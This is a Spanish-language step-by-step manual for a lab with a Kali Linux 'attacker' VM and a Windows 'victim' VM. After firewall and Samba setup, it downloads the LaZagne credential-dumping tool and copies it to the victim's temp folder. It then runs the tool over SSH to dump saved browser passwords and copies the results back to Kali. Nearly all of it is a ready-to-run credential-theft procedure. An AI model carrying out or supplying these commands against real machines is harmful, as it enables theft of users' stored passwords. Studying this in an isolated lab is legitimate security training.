

Manual de Instrucciones

Este manual explica paso a paso cómo configurar el firewall, permitir puertos para Samba, transferir archivos y ejecutar comandos de forma remota entre una máquina virtual Kali Linux (atacante) y una máquina virtual Windows (víctima).

1. Configuración del Firewall en Kali Linux (UFW)

El firewall UFW (Uncomplicated Firewall) controla el acceso a puertos y servicios.

Verificar estado del firewall

```
ufw status
```

Muestra si está activo o inactivo.

Habilitar el firewall

```
ufw enable
```

Activa el firewall UFW.

Permitir puertos usados por Samba

Samba necesita abrir ciertos puertos para compartir carpetas:

```
sudo ufw allow 445/tcp
```

```
sudo ufw allow 139/tcp
```

```
sudo ufw allow 137/udp
```

```
sudo ufw allow 138/udp
```

Verificar que el servicio Samba está corriendo

```
sudo netstat -tulpn | grep smbd
```

Esto muestra si smbd está escuchando en los puertos correctos.

2. Conexión entre Kali y Windows

Probar conexión con SSH al equipo Windows

```
ssh hector@192.168.56.102
```

(Reemplazar 192.168.56.102 por la IP de Windows).

Comprobar conectividad con PING

```
ping -n 4 192.168.56.101
```

En este ejemplo 192.168.56.101 sería la IP de Kali.

3. Trabajo con Carpeta Compartida Samba

Moverse a la carpeta compartida

```
cd /srv/samba/share
```

Descargar un archivo desde GitHub

```
wget https://github.com/AlessandroZ/LaZagne/archive/refs/heads/master.zip
```

Descomprimir el archivo descargado

```
unzip master.zip
```

Ver el contenido de la carpeta

```
ls -la /srv/samba/share/LaZagne-master/
```

4. Transferencia de Archivos con SCP

Copiar el proyecto descomprimido hacia Windows:

```
scp -r /srv/samba/share/LaZagne-master hector@192.168.56.102:C:/Windows/Temp/
```

scp -r copia carpetas completas.

Se envía a la ruta temporal C:\Windows\Temp\.

5. Instalación de Dependencias en Windows vía SSH

Ejecutar en Windows remotamente desde Kali:

```
ssh hector@192.168.56.102 'python -m pip install pywin32 pyasn1 psutil'
```

6. Verificar Usuarios en Windows

```
ssh hector@192.168.56.102 'net user hector'
```

7. Ejecutar un Script en Windows y Recuperar Resultados

Ejecutar el script LaZagne en Windows

```
ssh hector@192.168.56.102 'python C:\Windows\Temp\LaZagne-master\Windows\laZagne.py  
browsers -vv > C:\Windows\Temp\passwords.txt 2>&1'
```

Copiar el archivo de resultados a Kali

```
scp hector@192.168.56.102:C:/Windows/Temp/passwords.txt /home/kali/recuperacion.txt
```

Leer los resultados

```
cat /home/kali/recuperacion.txt
```